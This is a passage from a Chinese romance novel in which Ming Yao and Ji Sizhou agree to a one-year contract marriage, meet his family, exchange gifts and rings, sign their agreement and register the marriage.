“我没别的事。”季斯舟说,老爷子点头,“有别的事情也给我推了,还有什么其他的事比这件事重要的?”
明遥:“……”看不出来,季斯舟还挺听话。
既然季斯舟都这么说了,那明遥也不能拂了老人的意。
老爷子继续问:“遥遥,那你那边需要什么准备我们要配合的吗?”
明遥说:“我可以自己做主。”
“那好,既然你们两个的意见都已经达成一致,从今天起,季家不会叫任何人欺负了你。”老爷子说到这句话的时候,语气严肃起来,对着季斯舟说,“臭小子,你听到没有?包括你!”
季斯舟颔首:“我知道。”
他顿了下,又说,“也会做到。”
这不是什么惊天动地的誓言,季斯舟在说的时候声音轻和,但明遥却感觉到了承诺的份量,令她心头发颤。
为了掩饰自己,明遥低头喝茶。她才要去拿茶杯,从季斯舟那边就递来了茶杯。
“婚期尽快,其他的你们商量。斯舟,带遥遥好好逛逛熟悉一下。”老爷子有意为他们留出相处的空间,于是去书房了。
季斯舟说:“走走?”
其实明遥和季斯舟还不算熟悉,他们才见过几面?但她也有话要和季斯舟说,这就刚好了。季家很大,够他们散步来回好久。
走出去的时候,明遥微微低着头,视线落在前方。
她没有看季斯舟,只看着地上的影子。
“明遥。”
季斯舟忽然开口了,“我想我们需要亲自去试一下戒指,还有……婚纱,西服。应该需要订做。”
明遥说:“……好。”
“工期可能会比较长,加上你父亲刚过世,所以我们不能马上举办仪式,但季家会立刻向所有人公开。”季斯舟说,“如果你不介意的话,我们可以先把证领了。”
明遥斟酌着自己心里的话,脚步放慢了许多。
她抬头,却冷不丁和季斯舟的视线对视。
咦?这人一直看着她的吗?
明遥愣了两秒,没忍住笑了一下。
被其他人盯着,明遥早习惯了,可是季斯舟不一样,这个男人和其他人不是一个风格的,明遥还没那么快习惯他的注视。
就算她已经发现季斯舟在盯着自己了,季斯舟也没有像以前那样移开目光。
明遥终于开口:“一直看着我干什么,我哪句话说的不对吗?”
“没有。”季斯舟说,“和你说话的时候,看着你是我表达礼貌的方式。”
明遥觉得他说的话总有点奇怪,但又说不上来。
“谁告诉你的?”那也不至于要一直盯着,叫人怪不自在的,而且季斯舟还直接看着她的眼睛。
这男人是不知道自己的气场有多厉害吗?
“百科里看的。”季斯舟说,想起什么似的又补上一句,“很权威的百科资料。”
7. 第 7 章
第七章
明遥回家时,只让他将自己送到别墅门口。
本来老爷子是要季斯舟把明遥直接送到家里。但明遥说不用了。
季斯舟眉头皱起来。
“不要陪同吗?”
明遥失笑:“你这个口吻,特别像个家长,我又不是个孩子了,他们欺负不到我。”
季斯舟说:“如果你在家里受了委屈,就马上打电话给我,或者发消息。”
说到发消息,明遥想起来了,“我们是什么时候有联系方式的?”明遥抱歉地说,“我真的一点印象都没有。”
“很早之前。”季斯舟说,“高中的时候。”
明遥:“……?”
她干巴巴地回答:“那怎么会,一点记录都没有?”
“没有吗?”季斯舟说,“去年我给你发过新年祝福,只不过你没有回复。”
明遥开始后悔自己为什么要问这个问题。
她根本就没有保留微信记录的习惯。
新年的时候她收到的祝福太多,而季斯舟又是个没有备注的账号,估计只是眼神扫过便忘记了。
明遥的尴尬被季斯舟看在眼里,他轻轻笑了一声。
“回去吧。”他说,给了明遥一个台阶下,“有事情就找我。”
明遥应允。
回家的路上,明遥的心情真的很不错。
她想到这几年自己从国外回来时候,在外面迎接自己的永远只有徐姨,明青林都不会像季老爷子那样在外面等她。
季斯舟来接她的时候也没到约定的时间,他的第一句话就是:“我早就想来接你了。”
她这样的人,一点点的温柔就足够自己去眷恋了。
而他们给的不止一点点。
季家的司机尽职尽责,将明遥送到家门口,为明遥打开车门,明遥道谢。
她没想到,甘佳君居然还在家,就在门口。
明遥不由得觉得讽刺,甘佳君可从来没有出来迎接过她,这是头一回。
“你还知道回来?”
明遥前脚刚进来甘佳君就开始嘲讽,阴阳怪气到了极点。
明遥说:“我没瞎之前都会知道怎么回来。”
“你的伶牙俐齿还是留着去应付其他人吧,谁知道你竟然真的和季斯舟搭上了线,以为找到了季家就是找到了庇护所?你大错特错!季家怎么会真正的接纳你,季斯舟看的上你吗?”
明遥静静地看着甘佳君发疯。
看她不说话,甘佳君还以为自己的话让明遥不舒服,越说越起劲。
明遥说:“他看不上我,难道看得上你?”
“你到底还有没有把我当成你的长辈!”
“没有。”明遥如实回答。
“大家的眼睛都看着,就是你要和季斯舟结婚,也要有个能出面的人来操办。”甘佳君的脸上挤出虚假的笑容,“婚礼我是要出席的。”
明遥说:“没你半点事,你想要出席,那就和老爷子说去。”
甘佳君冷哼:“你还想用季老爷子来压我?”
“不想和你废话。”明遥要走。
“明遥。”甘佳君叫住她,“别以为我不知道你是为什么要和季斯舟结婚。”
“你能有什么结婚的心思?我不知道你和季斯舟达成了什么,让他现在像是鬼迷心窍了一样。”甘佳君说,“但我知道你是个什么人。换句话说,如果季总现在是真喜欢你,但当他知道你是个什么人之后,自然会对你失去兴趣。”
“好好听我的话,我不会把你的秘密说出去。”甘佳君笑了。
她觉得自己只要掌握了明遥的这个秘密,就可以把明遥拿捏的死死的。再怎么说,当年不就是因为这个,她成功的让明遥离开了这个家?
现在眼看自己就要把明家占为己有了,甘佳君怎么可能会放弃。
甘佳君说:“我倒要看看,你能够扮演季斯舟的好太太到几时?明遥,你根本就不是能够进入婚姻的人,以为我不清楚?等到你露出马脚的那一天,对季家的声望是极大的打击,他们还会觉得你有利用价值?”
“你在威胁我?”明遥说,“你大可以去把高中的一切都告诉季斯舟,我不介意。”
“我知道你心里在害怕,看看,你还是这样,再说我怎么敢威胁你?你现在都已经是找到季家做靠山的人了,以后就是季太太,谁不会高看你?”
“想要拿到一切,你还要一年。”甘佳君冷笑,“放弃吧,你坚持不了一年的。”
明遥懒得与她废话,有这功夫,她还不如去准备一下明天的穿着,因为明天也是很重要的见面。
她今天是还有事情要和季斯舟说。
季斯舟在外面散步,酝酿了那么久,她也没能说出来。
要和季家提条件不是一件容易的事情。
季家提出的条件已经足够丰厚了,季家的名字就是通行证。但明遥还是要和季斯舟谈其他的条件,那是她的条件。
不过甘佳君的话倒是提醒到明遥了。
当自己决定了和季斯舟结婚,之后他们就是利益共同体。
他们两个都要认真的遵循协议的内容,尤其注意要互相配合。季家给予明遥必要的庇护,而明遥要当好季斯舟明面上的太太。
一定不能让甘佳君看出端倪。
不然,甘佳君一定会借机发挥。
明遥有自己的条件,她明天一定要去把自己的条件说给季斯舟听才行。
刚回到自己的房间,明遥的手机就来消息了,季斯舟就好像是在自己的家附近装了监控似的。
【Zzz:到家了,还好吗?】
【富婆领低保:都很好,我没什么事。……呃,你有给我打备注?】
明遥希望季斯舟打了,因为她只要想到自己用这个昵称在和季斯舟聊天,总有一种羞耻的违和感。
【Zzz:没有打,很好认。】
明遥:fine,我谢谢你。
但她哪里敢真的说,只能季斯舟约好了明天来接。又做作的互道晚安,然后便结束了对话。
明遥终于知道了!
为什么自己明明准备好了那么久的话在散步的时候就是没对季斯舟说出来。
因为这个人他一直盯着自己看,一直。
把自己要说的话都盯忘记说了啊!
这怕不是季斯舟的策略。
第二天,季斯舟如约来接明遥,但明遥已经把入睡前自己想的事情忘记了。
明明前两天还在下暴雨,从昨天开始,就和老天爷开眼了一样,气温直升不降。一天比一天阳光灿烂,气温的攀升,明遥的心情也在攀升。
她穿的很凉快,毕竟天气这么热。
但季斯舟来接她的时候,明遥惊讶的顿住。
季斯舟穿的居然是西装,整套。
明遥憋了话在肚子里,忍着没说。她仔细的观察着季斯舟,季斯舟下来给她开车门,全程都没什么异样。
一上车,冷气直吹。
明遥想笑。
“怎么了?”季斯舟和明遥一起坐到后座,看明遥忍得辛苦,主动询问。
“很热吧。”明遥说,她也不客气,“你是不是穿太多了。”
“多吗?”季斯舟没有不自在,他回答的很正经,“我想看起来正式一点。”
“很正式。”明遥说。
分明是自己要去见季斯舟的家里人,反而是季斯舟显得比自己要紧张许多。
一定是自己想错了。
季斯舟说:“……这样行吗?”
“很行。”明遥飞速看他一眼,又补充说,“我是说西装。”
季斯舟端坐在车内软垫上,身体没放松下来。过了半晌想说什么,又没开口,只是无奈地笑了一声。
他确实有严肃又端正的做派,深灰正装领口袋里露出一截暗纹的棕底袋巾。绅士而内敛的模样,符合他的年纪,可实际上他看上去又十分年轻,只是气场太强,才显示出阅历丰富的沉稳。
明遥在国外生活多年,见多了眉眼深邃的外国人,但还是在看见季斯舟的时候会被他优秀的骨相惊艳到。
毫无疑问,这也是令人追逐的一张脸。
她的眼神不加掩饰。
季斯舟转头:“为什么一直看着我?”
明遥说:“看着你是我表达礼貌的方式。”
季斯舟说:“……明遥。”
“我只是开个玩笑。”明遥说,“毕竟要见你那么多家人了,我会紧张。”
“那就随便聊聊天。”季斯舟说,“不用担心,他们都是很好的人,很好相处。他们都会很喜欢你的。”
明遥随意开启话题:“那天晚上你和我说话,我吓了好大一跳。”
“为什么?”
“没有想过会和你有过交集。”明遥坦诚说,“你对你自己家里的情况应该也了解,我们之间有很大的差距。”
明遥低声说:“吓得我酒杯都掉在地上,碎了。”
季斯舟问:“红酒?”
“红酒。”明遥说,“那天我一口红酒都没有喝到。”
季斯舟说:“那是我抱歉。”
“没有,我只是和你随便聊聊天。”明遥摇头表示让他不用在意,“对了,我要去一趟西田大道的T.A.买手店。”
“你需要什么?”
明遥说:“今天正式和你的家人见面,我总不能空着手去?就让塔安给我准备了一些拜访的礼物。”
季斯舟挑了下眉,没说话。
很快就到了店门口,塔安出来迎接明遥。
趁塔安叫人去拿礼物的空挡,明遥开玩笑的问:“季总来过吗?”
这是一家专门做高端路线的买手店,类似上流社会里的百货商场,什么都能买到。很多人光顾,明遥刚开始玩收藏的时候,和塔安就是老朋友了。
但季斯舟还没说话,就把塔安吓得够呛,忙说:“别瞎说!我真是第一次在店里见到季总,季总以前从来没有来过,更别说送礼物给别的女孩了,姐,你可别胡说了!”
季斯舟说:“我没来过。”
“我就开玩笑。”
工作人员提着满当当的礼物来。
打开后备箱的时候,明遥才发现,后备箱里居然已经快塞满了礼物。
明遥:“……?”
“你这是?”
季斯舟说:“我早就帮你把礼物备好了。”
明遥哑然。
她知道季斯舟细心,可谁能想到他还能做到这一步?
明遥知道季斯舟的父母喜欢在外旅行,所以给他们准备了户外旅行的东西。给老爷
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子的是茶叶这类,而季斯舟的姐姐要好送一些,衣服、包包、珠宝。
这下好了,礼物成了双倍。
“没关系。”季斯舟说,“一并送,都以你的名义。”
他知道这是明遥的一片心意,所以明遥说自己准备了礼物的时候,季斯舟没有阻止。
他只会觉得明遥很有心,家里人也都会和自己是一样的想法。
明遥的买的东西装进后备箱里之后,剩余的一点点空间都被挤满了。
车似乎都变重了不少。
季斯舟怕她到时候不知道,上车后主动说:“我给父母两位长辈准备的是户外装备,给爷爷的是字画,给我姐是滑雪板。”
“这么会投其所好?”明遥问。
季斯舟弯了下唇角:“明遥,我是送礼物的好手。”
他的语气还挺骄傲。
还是老爷子在外面等他们,一见明遥下车,就说:“今天就我在等,他们在里头呢。”
邓管家说:“本来大家都要来门口等的,是小少爷不让,说这样会吓到明小姐。所以他们就都在里面。”
明遥说:“那走吧。”
季斯舟安排司机去把礼物都拿来,语气里藏着点炫耀:“明遥给你们都准备了礼物。”
明遥走到里面,就看到一家人的三个小脑袋在争先恐后的探头。季斯舟的母亲方姿的视线先和明遥的视线对上。
明遥甚至都来不及先说一句伯母好,方姿就赶紧站直了身体,欲盖弥彰地把自己身边另外两个人也拉起来。
说的在里面等,原来是一直在里面扒着门等。
季斯舟说:“别紧张。”
明遥想说自己不紧张,转头看着季斯舟,才发现季斯舟不是对着自己说的。
“我是说他们。”季斯舟说。
季见宜说:“季斯舟你不能是哑巴?”
她常年运动,肤色是漂亮的小麦色,身材高挑,健康又匀称。两姐弟长的有三分相似,一个随了母亲,一个像父亲。
老爷子在后头说:“来就来了,还带什么礼物?和爷爷讲这个客气!”
明遥笑着说:“应该的。”
等一行人将明遥迎进来坐着,明遥这才正式和季斯舟的家人们打过招呼。
他们都很和善,和老爷子一样笑容满面的看着明遥,和她说话。季斯舟进客厅之后将外套脱下,发丝都没有乱一点儿,他里面穿的衬衫挺括,袖口被他随意地折起来两圈,手臂的肌肉线条十分明显。
脱了衣服之后就看得出来了。
“早就知道你了,可惜现在才见面。”季见宜坐到明遥的身边,“我叫季见宜,不用把我当你准老公的姐姐,就当认识个新朋友。”
准老公。
明遥自动忽略了这三个字,季斯舟本来就是凝神在旁听着,听到这里的时候喉咙上下滚动了一下,什么都没说,抬眼往季见宜那边看了一眼。
“你小的时候阿姨经常抱你的。”方姿笑着说,“话说回来,今天斯舟什么时候过来接你的,他是不是迟到了?”
“没有。”明遥说,“他一向准时。”
季见宜说:“是吗?主要是一大早我们就没见到他,你做这造型费了些时间吧,头发丝都不带乱的,夏天穿西装也真是不容易。别看他现在好像没什么事,我猜他昨晚上都没睡着吧。”
“别听她胡说。”季斯舟说,他站起来,“来看看明遥给你们带的礼物。”
明遥想也是,季斯舟怎么看都不像是会因为一个见面而激动到失眠的人。
她的礼物和季斯舟准备的放在一起拆,拆都拆了好久时间,好在大家都喜欢。
准备午饭的时候,他们都冲到厨房里去了,给季斯舟和明遥腾出空间。
“还好吗?”季斯舟问。
“不能再好了。”明遥说,“你的家人们都很有趣。”
“我是最无趣的那一个。”季斯舟说,“以后你以后不要失望。”
明遥说:“不会。”
现在客厅里只有季斯舟和明遥了。
“有什么要说的?”季斯舟看出来明遥的犹豫,“似乎你昨天就想说,但没说出来。”
明遥说:“我的条件。”
“说吧。”季斯舟说,“我能接受。”
他说的这么斩钉截铁,有一瞬间明遥觉得季斯舟似乎知道自己接下来要说的条件似的。
他明明什么都不知道。
“我的条件是,婚后我们互相配合,但互不干涉生活,包括感情。这也是最重要的。”明遥说,“抱歉,其实这是我唯一的硬性条件,我想要的是一个坚定可靠的利益合作伙伴,而非伴侣,希望你能够理解。”
她继续说:“一年为期,时间到了我们就离婚,这样互不耽误。你如果同意的话,其他方面我都可以配合。”
季斯舟静静地听完,想了一下子才问:“还有一项。”
他说:“如果有一方违约怎么办?”
明遥愣住。
在季斯舟说出来之前——
协议只是一份形式上的制约,可以让他们有契约精神,她根本就没想过如果违约怎么办这个问题。
明遥问,“你说要怎么办?”
季斯舟说:“如果我毁约了,就把公司赔给你。”
明遥:“?”
8. 第 8 章
第八章
季斯舟名下的这家公司已经要上市了。和自己结婚,不就是因为季家现在需要一个更加稳定有亲和力的形象。
可季斯舟说的这么轻松,这么大市值的公司,他说赔给她就赔给她。
明遥诡异的想。
季斯舟这人到底会不会做生意的?
季斯舟是相信她,还是因为相信自己绝对不会动心?
她再自信,也知道分辨形式,不会认为在季斯舟的心中会觉得她比公司还重要。如果不在乎家中产业的话,他也不会这么利落地听从老爷子的安排和自己结婚。
毕竟,季斯舟可不是那种能被随意安排的人。
他是个商人,利益至上。
明遥哭笑不得:“季总,你提出来的违约条件太大了。”
季斯舟说:“希望你不要有负担。”
“我没有负担。”明遥和季斯舟说话的时候总是很客气,“季总能够理解我的想法,我已经觉得很神奇了。”
明遥就差没有直接说:季斯舟,我事先告诉你了,你别喜欢上我。
直接说出来的话,这也显得她太自恋了。可明遥又不可能告诉季斯舟原因,她不会告诉任何人那个原因。
所幸季斯舟居然不细问。
季斯舟的同意,无疑让明遥舒了一口气。
“都是应该的。”季斯舟的声音有点低,他继续说,“你的意思不难理解,我同意。就是往后要与我一同出席的场合会有些多,你要做好准备。前期会辛苦一点。”
“那也是我该做的。”明遥说,既然季斯舟配合了自己,那她当然也会竭力去配合季斯舟。
“有一件事需要提前和你说。”季斯舟说,“除了我爷爷,其他的家人不太参与公司的事情。他们不太清楚里面的情况,又盼着我结婚,所以会对你有一些热情。”
明遥思索了一下懂了:“在你的家人面前,同样要和你扮演好角色。”
季斯舟点头。
“好。”明遥说,“那我还有一点,我们签订协议的时候,要注明,一年后,我对季家的任何财产没有兴趣,离婚时不分割。”
“好。”季斯舟点头,“我让律师过来。”
明遥说:“那合作愉快,季总。”
“合作愉快。”季斯舟点头,“在家里,你可能需要对我改个称呼。”
“改称呼?看来你们两个还没熟悉起来呢?”方姿过来看了一眼,往明遥的手里放了一串葡萄,“小的时候,你不是追在他后头叫哥哥的吗?”
明遥都不记得了。
小时候的事情,长大之后哪能还一样。她们都长大了,更不要说叫出来,叫哥哥。
明遥只有在偶尔和人调情的时候才会这么喊,但是季斯舟……她怎么可能和季斯舟调情,不要命了?
被这个称呼震惊到的也不止她一个,季斯舟顿了下才说话,声音还如常镇定,“不要逗她,叫我名字就好。”
“吃吗?”
虽然是问句,但季斯舟还是把明遥手里的那串葡萄拿了过来。
明遥推辞道:“过会儿再吃。”
方姿又走了,季斯舟和明遥两人端坐着。
明遥把自己的视线放在电视上,争取让自己看上去别显得那么尴尬,天知道她都已经没有这样看过电视节目了,还放的是体育赛事。
“明遥,你不需要和我这么客气。”季斯舟说,大概是看出点她的不自在了,“我们是合作伙伴,同时也能做朋友。”
明遥说:“需要一点时间。”
他们才认识多久,算算时间,正式相处的时间一个月都还没到。真正见面的时间,一个巴掌都数得清。
她看没这么自来熟。
没多久,一盘剥好的葡萄放到了明遥的面前。
明遥诧异地看着这送到自己面前来的葡萄果肉,视线一延伸,就能看到季斯舟的指间有淡紫色的汁液。
此时的他在慢条斯理地擦手。
见明遥不动,季斯舟将水果叉递给明遥:“想吃的话可以尝一点,我剥的时候擦手了。”
明遥问:“你是对谁都这样吗?”
“自然不是,不太熟练,这是第一回。”季斯舟说,“昨天晚上我母亲说,今天要表现的好一些。我是为了让你不要不自在。”
盛情难却。
葡萄很甜,甜得明遥觉得自己心里的酸涩已经完全被甜味充盈。
季家考虑的周到,在家里已经给明遥安排好了她的房间。还没有正式结婚,所以没让两人睡在一起,这正和明遥的心意。
午饭过后,明遥去房间里休息,有人敲门。
“请进。”
方姿笑着过来。
“没打扰你吧?我来给你送个东西。”方姿把手里的盒子打开,里面是对戒。女款的戒指是一颗裸钻直接镶嵌在戒托上的,没有装饰。但这颗钻石的净度绝佳,反而不需要任何的修饰。
明遥长期接触收藏,对于物品的品质和价值有着敏锐的直觉。这一块钻石价值不菲,一眼就能看出来。
“你们的戒指是斯舟让我们带回来的。”方姿说,“当时和他父亲刚好在开采地,这块钻石就是所见即所得。就是一整颗做成的钻戒,它周围散落的小钻,被镶嵌在男戒上。”
方姿说:“他是个很用心的人,你以后会知道的。”
明遥点头,她没忘记季斯舟和自己的约定。
在家人面前,还是要将这个责任好好的尽下去。
“谢谢伯母。”
“你要谢的人可不是我。”方姿笑着说了声就出去了。
明遥看着对戒,立马就戴上。季斯舟的男戒也在自己这里,此时,拿到戒指,才感觉到有了一丝不真实感。
真就这么快,不知道该说自己的效率高,还是说季斯舟的行事风格就是这样。
她等下去拿给他吧?
明遥在季家睡不着,也没有午睡的习惯,于是就躺在床上休息。
闲着没事,她终于想起来要看一下自己的小宏薯后台。
从上次回完了那位粉丝的私信之后,她又忙起来,所以从那之后就很久没有看过了。
但现在她已经对那位粉丝的ID很熟悉了。
而且在她回过私信之后,这位粉丝的对话框就会出现在明遥的最近联系人里。
而明遥看到,粉丝的ID还没换。
【什么时候追到再改名:你好,博主,我用了一些你的攻略,好像效果不错。只是我有疑惑。】
【什么时候追到再改名:博主什么时候更新呢?】
【恋爱狗都不谈:疑惑?】
【什么时候追到再改名:需要每一式都顺着去吗,是否可以打乱?因为我今天就想要送她礼物,去投其所好。】
看到投其所好这四个字的时候,明遥想到了自己今天在买手店外面和季斯舟聊天时的场景。季斯舟包容了她的好心,接着又炫耀了自己是个会送礼物的人。
明遥失笑,耐心回归。
【当然是可以的,帖子里的内容只是建议,你当然也可以按照自己的需要来修改,只要你觉得那是有必要的。】
明遥最后还加上:【祝你早日成功】
那边也很有礼貌回复:【谢谢】
她没有什么困意,再次翻看自己的帖子,又看了看回复。实在是睡不着,明遥呆了一会儿,开门出去。
她在二楼,是可以看到底下客厅的情况的,出来便看到了季斯舟。
听到开门的声音,季斯舟仰头,与明遥对视,朝她招招手,无声问:“睡不着?”
他指了下窗外,明遥点头。
下楼的时候,明遥把戒指也拿上了。
家里的其他人都在房间里睡觉,哪怕在客厅说话并不会吵醒家人,明遥说话的时候还是小声。
“你怎么也醒了?”她问,季斯舟说,“刚好起来,下来没多久。”
明遥摩挲着戒指盒,递出来给季斯舟,“这是刚刚阿姨给我的,你什么时候买的?”
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她打开戒指盒之后,季斯舟从盒子里拿出男戒,对她解释:“是刚好我父母他们在原产区,所以就让他们带回来了。”
“裸钻镶嵌也不知道你会不会喜欢。”季斯舟说,“以后如果不喜欢了,还可以让工匠去改。”
“这块钻石不需要雕琢了,很好,我很喜欢。”明遥在季斯舟的注视下也自己将戒指带在了无名指上,还举起手端详了一下。
纯粹,出于对美的一种喜爱,绝不是因为这是婚戒。
季斯舟静静地看着她。
“送礼物的好手。”明遥看着季斯舟笑了声,“名不虚传,如果这也是一份礼物的话。”
季斯舟的脸上浮现出笑意。
他的情绪在明遥的面前不会加以掩饰。
季斯舟说:“这不算礼物,等签完合同,我送你一份真正的礼物。”
他示意明遥一起去书房,律师已经带着合同在等了。
季斯舟说:“表达我的诚意,送你一份薄礼。”
他真是客气,明遥想。
仔细的看完合同,内容和自己上午的时候对季斯舟说的没什么差别。明遥甚至在想,季斯舟中午的时候没睡觉难不成就是在敲定合同?不然怎么这么快。
季家是习惯了雷厉风行吗?什么事都是做了决策之后马上就要搞定。婚礼的安排也是,前一天刚决定好,第二天早上就有策划案了。
而且季斯舟的名字已经签在了上面,只剩下她的。
一年为期,等到明遥拿到本就属于自己的股份,季斯舟的公司声望与价值也已经稳固。
然后他们就可以一别两宽。
明遥没有犹豫,签下了自己的名字,又正式盖上手印。
季斯舟很安静地坐在一边,一如既往的板正,脊背笔直。直到明遥将合同合上,律师宣布合同即使生效。
他的背才轻陷入沙发中:“另一份,你看看。”
还有什么?
明遥的诧异没保持很久,律师把那份文件给她了。
打开一看,她的表情顿在脸上。
“怎么会……”
这是一份拍品合同。
物品就是她二十天前,在曼哈顿的苏铂拍卖行没有拍到的落日号。
那艘出海用的小游艇。
“是你加价竞拍到的落日号?”明遥讶然,可当时的她是匿名购买的,季斯舟怎么会知道?
“不是我,我不知道你参与了竞拍。”季斯舟摇头,“这是我从他人的手中买来的。”
季斯舟要买的东西,不可能会有买不到的。
但明遥很清楚,这艘小游艇当时被叫出了一个自己觉得已经溢价的价格。
所以,季斯舟是拿一个明显溢价的东西来把礼物送给她吗?明遥心情有些复杂,季斯舟是否知道,这个东西早就已经超过了它原本的价值。
明遥说:“可落日号,它已经溢价许多。”
“你是做藏品预估的,自然会去衡量它的价值,但对于我来说,不是。”季斯舟一点生气都没有,只是平静叙述,“对我来说,只要它能让收礼物的人当时是开心的,这就是它的价值,值得我买下它。”
季斯舟笑了:“你会让我觉得这是个不值的东西吗?”
明遥过了半晌,低下头来看着合同上写的自己的名字,弯起唇角。
季斯舟的话,还真是一点一点都戳在她的心上。如果不是因为知道彼此的价值,明遥已经快要觉得季斯舟这是在和自己调情了。
这男人温和体贴的时候,是真的很有魅力。
明遥第一次觉得可惜,可惜自己和季斯舟注定了无法开始。
她说:“季斯舟,你很会送礼物。”
他也很会说话,又不会让人觉得是一种花言巧语。
“可你又怎么会买下落日号?”明遥问。
“你在朋友圈里说过,想看夕阳,这艘落日号刚刚好。”季斯舟说,“原谅我冒昧的投其所好,我真正想送你的是夕阳。”
9. 第 9 章
第九章
“你常年都在纽约呆着,应该熟悉往西两百公里的兰卡海滩。”
季斯舟继续说了下去,声音低沉。
“兰卡海边公路适合追逐落日。”
明遥才发现,这人对自己熟悉的地方也熟悉。这么巧的吗?
她只知道,季斯舟近年来将公司的事务拓展到海外,会时常往返纽约和国内,但不知道季斯舟对于周边两百公里的游玩路线都清楚。
理应是日理万机的大忙人才对,难道是别人请他去玩过?
“你还会看朋友圈的……”
明遥想到一件事,声音随之卡壳。
她的朋友圈很开放,平时和朋友出去玩了都会发动态来记录生活。这么一想,季斯舟应该发现自己经常更换合照的男伴。
他既然都知道,可到现在他都没有说过半个字。
看来季斯舟对这些,是真的不介意。
也好,明遥的心里反而感到轻松下来。再一次坚定了自己和季斯舟合作,果然是最佳的选择。
“偶尔看。”季斯舟言简意赅的说,“倒也不是时时刻刻都在工作。”
明遥笑了一下。
到季斯舟这个位置上的,基本上都是工作狂无疑。虽然他说他不是工作狂,明遥才不信。
这次和季斯舟的家人见面的很顺利。
明遥要走的时候,季见宜还加了她的联系方式,说到时候找时间去郊区的滑雪场玩。
“本来想留你下来,但是这小子说别让你难做。”季见宜用眼神示意了下还站在旁边的季斯舟,“咱们还能吃了你老婆吗。”
这个称呼让明遥都还没来得及反应,她没说话,季斯舟开口解了围:“你可以进去了。”
季斯舟教养绅士斯文,亲自将明遥送出来。
“如果你方便的话,我们可以先尽快去把证领了。”
“时间我都能配合。”明遥说,这点契约精神自己还是有的。
“明天?”季斯舟说:“明天日子很好。”
很迅速,倒也符合季斯舟一贯雷厉风行的行事风格。明遥有点惊诧,但不多。
他补充说明:“如果你同意我早点来接你,怕民政局排队。”
“好。”明遥又点头,这才坐进车里。
她要回去了,让司机送,没让季斯舟送。季斯舟在别墅门口站着,明遥等到车开出去老远了,再转头看一眼,发现季斯舟还在那站着。
他本来就很高,现在远远地看过去,夏夜的月光像是在他身上渡了一层银辉,挺拔而出众。
这个人倒也不必这么有仪式感,非得送自己送到千里之外吗。
明遥被自己脑海里浮现出来的想法笑得够呛,知道这是季家的司机,赶紧自己的笑容藏起来。
回到家里,甘佳君不在。
很好。
明遥睡了个好觉。
第二天季斯舟如约来接她,掐着点提前了刚好十五分钟。
他又穿的正装,领带打的一丝不苟,严肃而俊朗。
今天明遥也就不说他了,毕竟要领证。明遥穿的素净,妆容也清透。
季斯舟看到她的时候怔了下,明遥问:“怎么了?”
“有点像你大学的时候。”他说。
明遥当他是在夸奖自己年轻,但上车过了一会儿缓过劲来意识到了不对——
“你是怎么知道我大学时候样子的?”
“你是华人区的名人,我也有你的微信。”季斯舟说,他的眼神落在明遥的身上端详了两三秒,“而且,你没什么变化。”
明遥说:“是在夸我吧?”
季斯舟说:“是在说实话。”
还挺会夸人的。
季斯舟外表外表看起来的疏离又果断。其实,在面对亲近的人的时候,季斯舟算得上是温和。
他的冷漠,只是另一种亲疏有别的体现。所幸,明遥发现,自己似乎是被季斯舟纳入到亲近的人这个小圈里。所以他对自己的吞带上一直不错。
季斯舟是和谁学的?在自己的面前,似乎没吝啬过夸奖,他是一个很会提供情绪价值的人。
他们去领证,赶早的,去的时候民政局才刚开门。不过如季斯舟所说,今天是个极好的日子,所以已经有人在等待了。
当他们从车上下来的时候——
外面的太阳很大,季斯舟先下的车,撑着一把伞,为明遥提供阴凉的遮蔽。同时,绅士地将自己的手臂放在明遥的面前,让她可以在下车的时候扶稳。
绅士和美人的出现总是会引起别人的关注,不管在哪里。
这是是苏市最繁华的中丰区民政局,户口落在这里便已是含着金钥匙出生了,季斯舟和明遥很快被人认了出来。
“我眼睛没出问题吧……季斯舟和明遥?”
“他们怎么会一起来民政局!!”
“我上次还听别人说明遥都快被甘夫人赶出家门了,这是……”
季斯舟和明遥神色如常,走过渐渐聚集起来的、议论着的人群。
“还好吗?”
伞下,如同是一个小小的世界。
而明遥和季斯舟在这个世界之中。
“没关系,来的时候就有心理准备。”明遥摇摇头,“也不全是议论我。”
她要是这点抗压能力,怎么可能会有勇气去同意和季斯舟结婚呢。
季斯舟说:“靠拢点。”
明遥配合他。
她索性挽起季斯舟的胳膊,季斯舟垂下来的手顿了下。他侧过头看明遥,两人之间的身高差刚刚好。在他的角度看过去,明遥的睫毛纤长而分明,眉眼就是他熟悉的模样。
她从未改变。
季斯舟的单手撑着伞,刚好屈起的胳膊能让一边的明遥挽住。
他将握伞的手换了一边,空出来了在明遥这边的手,低声询问:“可以吗?”
明遥心领神会的点头,季斯舟将她的手轻轻牵住。
“你的手心怎么这么多汗?”明遥微抬了头问他,同时踏入充满冷气的民政局大厅。
季斯舟道:“天气热。”
两人的婚戒在指间闪闪发光,尤其是明遥的那枚大钻戒。
工作人员每日要接待的人极多,都算是早早见过世面的人,但在看见站在柜台前的季斯舟和明遥时,都禁不住说了一声:“二位很般配,新婚愉快。”
季斯舟说:“谢谢。”
外面看着的人多,他们的手一直没松开过,季斯舟的手心没干燥过。
等到他们登记完了,外面在看他们的人也就更多了。这一对新人就是今天民政局与里面关注度最高的。
明遥心想刚好。
一传十,十传百,她保证,还没等到自己回到家里,她和季斯舟去民政局登记结婚的事情就会传到所有人的耳朵里。
这正是她要的。
季家的名号在这一天,正是成为她明面上的保护伞
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,而季斯舟的名字,就像是现在他为自己打的伞一样,会变成保护区。
季斯舟今天也格外的配合她。
“今天你还习惯吗?”明遥低声问他,“你应该不喜欢这样被人盯着看。”
季斯舟说:“有喜事不怕被人看着。”
议论的人在他们经过的时候会小声一点,但止不住。远处甚至还有人拿着手机在拍照的,明遥都目不斜视。
但角度刚好,在她和季斯舟说话的时候,姿态看上去特别的亲密。
如她所料,消息传的很快。最多半个小时,明遥的手机是已经收到了许多的消息。有震惊的,也想来看看热闹的,也有祝福的。明遥哪有那个时间去回复。
直到车上,季斯舟为她将门开了之后。
明遥进去,和季斯舟两人又各自端坐在一边,他没有再拉明遥的手。
现在已经不需要再演戏了。
明遥看着红色的结婚证,一丝不切实际的感觉在看见自己和季斯舟的双人照时尤为明显。
季斯舟的结婚证直接放进了他的外套口袋。
明遥的小包是充当装饰的,没有一点装东西的功效。明遥把结婚证攥在手里,过了一会儿,大概是想通了,“你能帮我收一下吗?”
“不用对我这么客气。”季斯舟说着接过,“先帮你收好,等到家了给你。”
明遥说了声好,然后想起来季斯舟的手。想着礼尚往来,她拿出自己的口袋湿巾,“擦擦吧,之前你手心出了好多汗。”
她不说还好,说了之后,季斯舟似笑非笑地望着她。
